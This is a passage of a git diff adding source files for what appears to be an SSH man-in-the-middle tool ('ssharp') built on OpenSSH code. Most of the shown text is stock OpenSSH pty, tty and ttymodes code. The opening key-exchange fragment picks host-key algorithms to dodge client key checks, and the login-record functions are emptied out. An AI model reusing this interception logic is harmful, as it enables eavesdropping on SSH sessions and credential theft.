"ssh-rsa,ssh-dss")) { + myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = strdup("ssh-dss"); + SSH2_mim_cipher = strdup("ssh-dss"); + } else if (strstr(buf, "ssh-dss,ssh-rsa")) { + myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = strdup("ssh-rsa"); + SSH2_mim_cipher = strdup("ssh-rsa"); + } + log("ssharp: peeking gave SSH2_mim_cipher of %s", SSH2_mim_cipher); + } else { + myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = list_hostkey_types(); + } + + /* start key exchange */ + kex = kex_setup(myproposal); + kex->server = 1; + kex->client_version_string=client_version_string; + kex->server_version_string=server_version_string; + kex->load_host_key=&get_hostkey_by_type; + + xxx_kex = kex; + + dispatch_run(DISPATCH_BLOCK, &kex->done, kex); + + session_id2 = kex->session_id; + session_id2_len = kex->session_id_len; + +#ifdef DEBUG_KEXDH + /* send 1st encrypted/maced/compressed message */ + packet_start(SSH2_MSG_IGNORE); + packet_put_cstring("markus"); + packet_send(); + packet_write_wait(); +#endif + debug("KEX done"); +} diff --git a/other/ssharp/sshd_config b/other/ssharp/sshd_config new file mode 100644 index 0000000..8c411e4 --- /dev/null +++ b/other/ssharp/sshd_config @@ -0,0 +1,72 @@ +# $OpenBSD: sshd_config,v 1.38 2001/04/15 21:41:29 deraadt Exp $ + +# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin + +# This is the sshd server system-wide configuration file. See sshd(8) +# for more information. + +Port 22 +#Protocol 2,1 +#ListenAddress 0.0.0.0 +#ListenAddress :: +HostKey /etc/ssh_host_key +HostKey /etc/ssh_host_rsa_key +HostKey /etc/ssh_host_dsa_key +ServerKeyBits 768 +LoginGraceTime 600 +KeyRegenerationInterval 3600 +PermitRootLogin yes +# +# Don't read ~/.rhosts and ~/.shosts files +IgnoreRhosts yes +# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication +#IgnoreUserKnownHosts yes +StrictModes yes +X11Forwarding no +X11DisplayOffset 10 +PrintMotd yes +#PrintLastLog no +KeepAlive yes + +# Logging +SyslogFacility AUTH +LogLevel INFO +#obsoletes QuietMode and FascistLogging + +RhostsAuthentication no +# +# For this to work you will also need host keys in /etc/ssh_known_hosts +RhostsRSAAuthentication no +# similar for protocol version 2 +HostbasedAuthentication no +# +RSAAuthentication yes + +# To disable tunneled clear text passwords, change to no here! +PasswordAuthentication yes +PermitEmptyPasswords no + +# Uncomment to disable s/key passwords +#ChallengeResponseAuthentication no + +# Uncomment to enable PAM keyboard-interactive authentication +# Warning: enabling this may bypass the setting of 'PasswordAuthentication' +#PAMAuthenticationViaKbdInt yes + +# To change Kerberos options +#KerberosAuthentication no +#KerberosOrLocalPasswd yes +#AFSTokenPassing no +#KerberosTicketCleanup no + +# Kerberos TGT Passing does only work with the AFS kaserver +#KerberosTgtPassing yes + +#CheckMail yes +#UseLogin no + +#MaxStartups 10:30:60 +#Banner /etc/issue.net +#ReverseMappingCheck yes + +Subsystem sftp /usr/libexec/sftp-server diff --git a/other/ssharp/sshlogin.c b/other/ssharp/sshlogin.c new file mode 100644 index 0000000..42fa7a2 --- /dev/null +++ b/other/ssharp/sshlogin.c @@ -0,0 +1,75 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * This file performs some of the things login(1) normally does. We cannot + * easily use something like login -p -h host -f user, because there are + * several different logins around, and it is hard to determined what kind of + * login the current system has. Also, we want to be able to execute commands + * on a tty. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * Copyright (c) 1999 Theo de Raadt. All rights reserved. + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: sshlogin.c,v 1.2 2001/03/24 16:43:27 stevesk Exp $"); + +#include "loginrec.h" + +/* + * Returns the time when the user last logged in. Returns 0 if the + * information is not available. This must be called before record_login. + * The host the user logged in from will be returned in buf. + */ + +u_long +get_last_login_time(uid_t uid, const char *logname, + char *buf, u_int bufsize) +{ + return 0; +} + +/* + * Records that the user has logged in. I these parts of operating systems + * were more standardized. + */ + +void +record_login(pid_t pid, const char *ttyname, const char *user, uid_t uid, + const char *host, struct sockaddr * addr) +{ +} + +/* Records that the user has logged out. */ + +void +record_logout(pid_t pid, const char *ttyname) +{ +} diff --git a/other/ssharp/sshlogin.h b/other/ssharp/sshlogin.h new file mode 100644 index 0000000..64007cf --- /dev/null +++ b/other/ssharp/sshlogin.h @@ -0,0 +1,40 @@ +/* $OpenBSD: sshlogin.h,v 1.1 2001/03/04 01:46:30 djm Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +#ifndef LOGIN_H +#define LOGIN_H + +/* + * Returns the time when the user last logged in. Returns 0 if the + * information is not available. This must be called before record_login. + * The host from which the user logged in is stored in buf. + */ +u_long +get_last_login_time(uid_t uid, const char *logname, + char *buf, u_int bufsize); + +/* + * Records that the user has logged in. This does many things normally done + * by login(1). + */ +void +record_login(pid_t pid, const char *ttyname, const char *user, uid_t uid, + const char *host, struct sockaddr *addr); + +/* + * Records that the user has logged out. This does many thigs normally done + * by login(1) or init. + */ +void record_logout(pid_t pid, const char *ttyname); + +#endif diff --git a/other/ssharp/sshpty.c b/other/ssharp/sshpty.c new file mode 100644 index 0000000..4af55e9 --- /dev/null +++ b/other/ssharp/sshpty.c @@ -0,0 +1,342 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Allocating a pseudo-terminal, and making it the controlling tty. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: sshpty.c,v 1.1 2001/03/04 01:46:30 djm Exp $"); + +#ifdef HAVE_UTIL_H +# include +#endif /* HAVE_UTIL_H */ + +#include "sshpty.h" +#include "log.h" + +/* Pty allocated with _getpty gets broken if we do I_PUSH:es to it. */ +#if defined(HAVE__GETPTY) || defined(HAVE_OPENPTY) +#undef HAVE_DEV_PTMX +#endif + +#ifdef HAVE_PTY_H +# include +#endif +#if defined(HAVE_DEV_PTMX) && defined(HAVE_SYS_STROPTS_H) +# include +#endif + +#ifndef O_NOCTTY +#define O_NOCTTY 0 +#endif + +/* + * Allocates and opens a pty. Returns 0 if no pty could be allocated, or + * nonzero if a pty was successfully allocated. On success, open file + * descriptors for the pty and tty sides and the name of the tty side are + * returned (the buffer must be able to hold at least 64 characters). + */ + +int +pty_allocate(int *ptyfd, int *ttyfd, char *namebuf, int namebuflen) +{ +#if defined(HAVE_OPENPTY) || defined(BSD4_4) + /* openpty(3) exists in OSF/1 and some other os'es */ + char *name; + int i; + + i = openpty(ptyfd, ttyfd, NULL, NULL, NULL); + if (i < 0) { + error("openpty: %.100s", strerror(errno)); + return 0; + } + name = ttyname(*ttyfd); + if (!name) + fatal("openpty returns device for which ttyname fails."); + + strlcpy(namebuf, name, namebuflen); /* possible truncation */ + return 1; +#else /* HAVE_OPENPTY */ +#ifdef HAVE__GETPTY + /* + * _getpty(3) exists in SGI Irix 4.x, 5.x & 6.x -- it generates more + * pty's automagically when needed + */ + char *slave; + + slave = _getpty(ptyfd, O_RDWR, 0622, 0); + if (slave == NULL) { + error("_getpty: %.100s", strerror(errno)); + return 0; + } + strlcpy(namebuf, slave, namebuflen); + /* Open the slave side. */ + *ttyfd = open(namebuf, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("%.200s: %.100s", namebuf, strerror(errno)); + close(*ptyfd); + return 0; + } + return 1; +#else /* HAVE__GETPTY */ +#if defined(HAVE_DEV_PTMX) + /* + * This code is used e.g. on Solaris 2.x. (Note that Solaris 2.3 + * also has bsd-style ptys, but they simply do not work.) + */ + int ptm; + char *pts; + + ptm = open("/dev/ptmx", O_RDWR | O_NOCTTY); + if (ptm < 0) { + error("/dev/ptmx: %.100s", strerror(errno)); + return 0; + } + if (grantpt(ptm) < 0) { + error("grantpt: %.100s", strerror(errno)); + return 0; + } + if (unlockpt(ptm) < 0) { + error("unlockpt: %.100s", strerror(errno)); + return 0; + } + pts = ptsname(ptm); + if (pts == NULL) + error("Slave pty side name could not be obtained."); + strlcpy(namebuf, pts, namebuflen); + *ptyfd = ptm; + + /* Open the slave side. */ + *ttyfd = open(namebuf, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("%.100s: %.100s", namebuf, strerror(errno)); + close(*ptyfd); + return 0; + } +#ifndef HAVE_CYGWIN + /* + * Push the appropriate streams modules, as described in Solaris pts(7). + * HP-UX pts(7) doesn't have ttcompat module. + */ + if (ioctl(*ttyfd, I_PUSH, "ptem") < 0) + error("ioctl I_PUSH ptem: %.100s", strerror(errno)); + if (ioctl(*ttyfd, I_PUSH, "ldterm") < 0) + error("ioctl I_PUSH ldterm: %.100s", strerror(errno)); +#ifndef __hpux + if (ioctl(*ttyfd, I_PUSH, "ttcompat") < 0) + error("ioctl I_PUSH ttcompat: %.100s", strerror(errno)); +#endif +#endif + return 1; +#else /* HAVE_DEV_PTMX */ +#ifdef HAVE_DEV_PTS_AND_PTC + /* AIX-style pty code. */ + const char *name; + + *ptyfd = open("/dev/ptc", O_RDWR | O_NOCTTY); + if (*ptyfd < 0) { + error("Could not open /dev/ptc: %.100s", strerror(errno)); + return 0; + } + name = ttyname(*ptyfd); + if (!name) + fatal("Open of /dev/ptc returns device for which ttyname fails."); + strlcpy(namebuf, name, namebuflen); + *ttyfd = open(name, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("Could not open pty slave side %.100s: %.100s", + name, strerror(errno)); + close(*ptyfd); + return 0; + } + return 1; +#else /* HAVE_DEV_PTS_AND_PTC */ + /* BSD-style pty code. */ + char buf[64]; + int i; + const char *ptymajors = "pqrstuvwxyzabcdefghijklmnoABCDEFGHIJKLMNOPQRSTUVWXYZ"; + const char *ptyminors = "0123456789abcdef"; + int num_minors = strlen(ptyminors); + int num_ptys = strlen(ptymajors) * num_minors; + + for (i = 0; i < num_ptys; i++) { + snprintf(buf, sizeof buf, "/dev/pty%c%c", ptymajors[i / num_minors], + ptyminors[i % num_minors]); + snprintf(namebuf, namebuflen, "/dev/tty%c%c", + ptymajors[i / num_minors], ptyminors[i % num_minors]); + + *ptyfd = open(buf, O_RDWR | O_NOCTTY); + if (*ptyfd < 0) { + /* Try SCO style naming */ + snprintf(buf, sizeof buf, "/dev/ptyp%d", i); + snprintf(namebuf, namebuflen, "/dev/ttyp%d", i); + *ptyfd = open(buf, O_RDWR | O_NOCTTY); + if (*ptyfd < 0) + continue; + } + + /* Open the slave side. */ + *ttyfd = open(namebuf, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("%.100s: %.100s", namebuf, strerror(errno)); + close(*ptyfd); + return 0; + } + return 1; + } + return 0; +#endif /* HAVE_DEV_PTS_AND_PTC */ +#endif /* HAVE_DEV_PTMX */ +#endif /* HAVE__GETPTY */ +#endif /* HAVE_OPENPTY */ +} + +/* Releases the tty. Its ownership is returned to root, and permissions to 0666. */ + +void +pty_release(const char *ttyname) +{ + if (chown(ttyname, (uid_t) 0, (gid_t) 0) < 0) + error("chown %.100s 0 0 failed: %.100s", ttyname, strerror(errno)); + if (chmod(ttyname, (mode_t) 0666) < 0) + error("chmod %.100s 0666 failed: %.100s", ttyname, strerror(errno)); +} + +/* Makes the tty the processes controlling tty and sets it to sane modes. */ + +void +pty_make_controlling_tty(int *ttyfd, const char *ttyname) +{ + int fd; +#ifdef USE_VHANGUP + void *old; +#endif /* USE_VHANGUP */ + + /* First disconnect from the old controlling tty. */ +#ifdef TIOCNOTTY + fd = open(_PATH_TTY, O_RDWR | O_NOCTTY); + if (fd >= 0) { + (void) ioctl(fd, TIOCNOTTY, NULL); + close(fd); + } +#endif /* TIOCNOTTY */ + if (setsid() < 0) + error("setsid: %.100s", strerror(errno)); + + /* + * Verify that we are successfully disconnected from the controlling + * tty. + */ + fd = open(_PATH_TTY, O_RDWR | O_NOCTTY); + if (fd >= 0) { + error("Failed to disconnect from controlling tty."); + close(fd); + } + /* Make it our controlling tty. */ +#ifdef TIOCSCTTY + debug("Setting controlling tty using TIOCSCTTY."); + if (ioctl(*ttyfd, TIOCSCTTY, NULL) < 0) + error("ioctl(TIOCSCTTY): %.100s", strerror(errno)); +#endif /* TIOCSCTTY */ +#ifdef HAVE_NEWS4 + if (setpgrp(0,0) < 0) + error("SETPGRP %s",strerror(errno)); +#endif /* HAVE_NEWS4 */ +#ifdef USE_VHANGUP + old = signal(SIGHUP, SIG_IGN); + vhangup(); + signal(SIGHUP, old); +#endif /* USE_VHANGUP */ + fd = open(ttyname, O_RDWR); + if (fd < 0) { + error("%.100s: %.100s", ttyname, strerror(errno)); + } else { +#ifdef USE_VHANGUP + close(*ttyfd); + *ttyfd = fd; +#else /* USE_VHANGUP */ + close(fd); +#endif /* USE_VHANGUP */ + } + /* Verify that we now have a controlling tty. */ + fd = open(_PATH_TTY, O_WRONLY); + if (fd < 0) + error("open /dev/tty failed - could not set controlling tty: %.100s", + strerror(errno)); + else { + close(fd); + } +} + +/* Changes the window size associated with the pty. */ + +void +pty_change_window_size(int ptyfd, int row, int col, + int xpixel, int ypixel) +{ + struct winsize w; + w.ws_row = row; + w.ws_col = col; + w.ws_xpixel = xpixel; + w.ws_ypixel = ypixel; + (void) ioctl(ptyfd, TIOCSWINSZ, &w); +} + +void +pty_setowner(struct passwd *pw, const char *ttyname) +{ + struct group *grp; + gid_t gid; + mode_t mode; + struct stat st; + + /* Determine the group to make the owner of the tty. */ + grp = getgrnam("tty"); + if (grp) { + gid = grp->gr_gid; + mode = S_IRUSR | S_IWUSR | S_IWGRP; + } else { + gid = pw->pw_gid; + mode = S_IRUSR | S_IWUSR | S_IWGRP | S_IWOTH; + } + + /* + * Change owner and mode of the tty as required. + * Warn but continue if filesystem is read-only and the uids match. + */ + if (stat(ttyname, &st)) + fatal("stat(%.100s) failed: %.100s", ttyname, + strerror(errno)); + + if (st.st_uid != pw->pw_uid || st.st_gid != gid) { + if (chown(ttyname, pw->pw_uid, gid) < 0) { + if (errno == EROFS && st.st_uid == pw->pw_uid) + error("chown(%.100s, %d, %d) failed: %.100s", + ttyname, pw->pw_uid, gid, + strerror(errno)); + else + fatal("chown(%.100s, %d, %d) failed: %.100s", + ttyname, pw->pw_uid, gid, + strerror(errno)); + } + } + + if ((st.st_mode & (S_IRWXU|S_IRWXG|S_IRWXO)) != mode) { + if (chmod(ttyname, mode) < 0) { + if (errno == EROFS && + (st.st_mode & (S_IRGRP | S_IROTH)) == 0) + error("chmod(%.100s, 0%o) failed: %.100s", + ttyname, mode, strerror(errno)); + else + fatal("chmod(%.100s, 0%o) failed: %.100s", + ttyname, mode, strerror(errno)); + } + } +} diff --git a/other/ssharp/sshpty.h b/other/ssharp/sshpty.h new file mode 100644 index 0000000..d7aac0f --- /dev/null +++ b/other/ssharp/sshpty.h @@ -0,0 +1,47 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Functions for allocating a pseudo-terminal and making it the controlling + * tty. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: sshpty.h,v 1.1 2001/03/04 01:46:30 djm Exp $"); */ + +#ifndef SSHPTY_H +#define SSHPTY_H + +/* + * Allocates and opens a pty. Returns 0 if no pty could be allocated, or + * nonzero if a pty was successfully allocated. On success, open file + * descriptors for the pty and tty sides and the name of the tty side are + * returned (the buffer must be able to hold at least 64 characters). + */ +int pty_allocate(int *ptyfd, int *ttyfd, char *ttyname, int ttynamelen); + +/* + * Releases the tty. Its ownership is returned to root, and permissions to + * 0666. + */ +void pty_release(const char *ttyname); + +/* + * Makes the tty the processes controlling tty and sets it to sane modes. + * This may need to reopen the tty to get rid of possible eavesdroppers. + */ +void pty_make_controlling_tty(int *ttyfd, const char *ttyname); + +/* Changes the window size associated with the pty. */ +void +pty_change_window_size(int ptyfd, int row, int col, + int xpixel, int ypixel); + +void pty_setowner(struct passwd *pw, const char *ttyname); + +#endif /* SSHPTY_H */ diff --git a/other/ssharp/sshtty.c b/other/ssharp/sshtty.c new file mode 100644 index 0000000..7849890 --- /dev/null +++ b/other/ssharp/sshtty.c @@ -0,0 +1,96 @@ +/* $OpenBSD: sshtty.c,v 1.1 2001/04/14 16:33:20 stevesk Exp $ */ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * Copyright (c) 2001 Kevin Steves. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +#include "sshtty.h" +#include "log.h" + +static struct termios _saved_tio; +static int _in_raw_mode = 0; + +int +in_raw_mode(void) +{ + return _in_raw_mode; +} + +struct termios +get_saved_tio(void) +{ + return _saved_tio; +} + +void +leave_raw_mode(void) +{ + if (!_in_raw_mode) + return; + if (tcsetattr(fileno(stdin), TCSADRAIN, &_saved_tio) == -1) + perror("tcsetattr"); + else + _in_raw_mode = 0; + + fatal_remove_cleanup((void (*) (void *)) leave_raw_mode, NULL); +} + +void +enter_raw_mode(void) +{ + struct termios tio; + + if (tcgetattr(fileno(stdin), &tio) == -1) { + perror("tcgetattr"); + return; + } + _saved_tio = tio; + tio.c_iflag |= IGNPAR; + tio.c_iflag &= ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); + tio.c_lflag &= ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL); +#ifdef IEXTEN + tio.c_lflag &= ~IEXTEN; +#endif + tio.c_oflag &= ~OPOST; + tio.c_cc[VMIN] = 1; + tio.c_cc[VTIME] = 0; + if (tcsetattr(fileno(stdin), TCSADRAIN, &tio) == -1) + perror("tcsetattr"); + else + _in_raw_mode = 1; + + fatal_add_cleanup((void (*) (void *)) leave_raw_mode, NULL); +} diff --git a/other/ssharp/sshtty.h b/other/ssharp/sshtty.h new file mode 100644 index 0000000..e29385e --- /dev/null +++ b/other/ssharp/sshtty.h @@ -0,0 +1,65 @@ +/* $OpenBSD: sshtty.h,v 1.1 2001/04/14 16:33:20 stevesk Exp $ */ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * Copyright (c) 2001 Kevin Steves. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef SSHTTY_H +#define SSHTTY_H + +#include + +/* + * Accessor function indicating whether we are in raw mode. Set by + * enter_raw_mode() and leave_raw_mode(). + */ +int in_raw_mode(void); + +/* + * Return terminal modes, as saved by enter_raw_mode(). + */ +struct termios get_saved_tio(void); + +/* + * Returns the user's terminal to normal mode if it had been + * put in raw mode. + */ +void leave_raw_mode(void); + +/* + * Puts the user's terminal in raw mode. + */ +void enter_raw_mode(void); + +#endif diff --git a/other/ssharp/tildexpand.c b/other/ssharp/tildexpand.c new file mode 100644 index 0000000..46bdaae --- /dev/null +++ b/other/ssharp/tildexpand.c @@ -0,0 +1,72 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: tildexpand.c,v 1.11 2001/02/08 19:30:53 itojun Exp $"); + +#include "xmalloc.h" +#include "log.h" +#include "tildexpand.h" + +/* + * Expands tildes in the file name. Returns data allocated by xmalloc. + * Warning: this calls getpw*. + */ +char * +tilde_expand_filename(const char *filename, uid_t my_uid) +{ + const char *cp; + u_int userlen; + char *expanded; + struct passwd *pw; + char user[100]; + int len; + + /* Return immediately if no tilde. */ + if (filename[0] != '~') + return xstrdup(filename); + + /* Skip the tilde. */ + filename++; + + /* Find where the username ends. */ + cp = strchr(filename, '/'); + if (cp) + userlen = cp - filename; /* Something after username. */ + else + userlen = strlen(filename); /* Nothing after username. */ + if (userlen == 0) + pw = getpwuid(my_uid); /* Own home directory. */ + else { + /* Tilde refers to someone elses home directory. */ + if (userlen > sizeof(user) - 1) + fatal("User name after tilde too long."); + memcpy(user, filename, userlen); + user[userlen] = 0; + pw = getpwnam(user); + } + if (!pw) + fatal("Unknown user %100s.", user); + + /* If referring to someones home directory, return it now. */ + if (!cp) { + /* Only home directory specified */ + return xstrdup(pw->pw_dir); + } + /* Build a path combining the specified directory and path. */ + len = strlen(pw->pw_dir) + strlen(cp + 1) + 2; + if (len > MAXPATHLEN) + fatal("Home directory too long (%d > %d", len-1, MAXPATHLEN-1); + expanded = xmalloc(len); + snprintf(expanded, len, "%s/%s", pw->pw_dir, cp + 1); + return expanded; +} diff --git a/other/ssharp/tildexpand.h b/other/ssharp/tildexpand.h new file mode 100644 index 0000000..88734f4 --- /dev/null +++ b/other/ssharp/tildexpand.h @@ -0,0 +1,19 @@ +/* $OpenBSD: tildexpand.h,v 1.2 2001/01/29 01:58:19 niklas Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* + * Expands tildes in the file name. Returns data allocated by xmalloc. + * Warning: this calls getpw*. + */ +char *tilde_expand_filename(const char *filename, uid_t my_uid); diff --git a/other/ssharp/ttymodes.c b/other/ssharp/ttymodes.c new file mode 100644 index 0000000..6124cb4 --- /dev/null +++ b/other/ssharp/ttymodes.c @@ -0,0 +1,462 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* + * SSH2 tty modes support by Kevin Steves. + * Copyright (c) 2001 Kevin Steves. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * Encoding and decoding of terminal modes in a portable way. + * Much of the format is defined in ttymodes.h; it is included multiple times + * into this file with the appropriate macro definitions to generate the + * suitable code. + */ + +#include "includes.h" +RCSID("$OpenBSD: ttymodes.c,v 1.13 2001/04/15 01:35:22 stevesk Exp $"); + +#include "packet.h" +#include "log.h" +#include "ssh1.h" +#include "compat.h" +#include "buffer.h" +#include "bufaux.h" + +#define TTY_OP_END 0 +/* + * uint32 (u_int) follows speed in SSH1 and SSH2 + */ +#define TTY_OP_ISPEED_PROTO1 192 +#define TTY_OP_OSPEED_PROTO1 193 +#define TTY_OP_ISPEED_PROTO2 128 +#define TTY_OP_OSPEED_PROTO2 129 + +/* + * Converts POSIX speed_t to a baud rate. The values of the + * constants for speed_t are not themselves portable. + */ +static int +speed_to_baud(speed_t speed) +{ + switch (speed) { + case B0: + return 0; + case B50: + return 50; + case B75: + return 75; + case B110: + return 110; + case B134: + return 134; + case B150: + return 150; + case B200: + return 200; + case B300: + return 300; + case B600: + return 600; + case B1200: + return 1200; + case B1800: + return 1800; + case B2400: + return 2400; + case B4800: 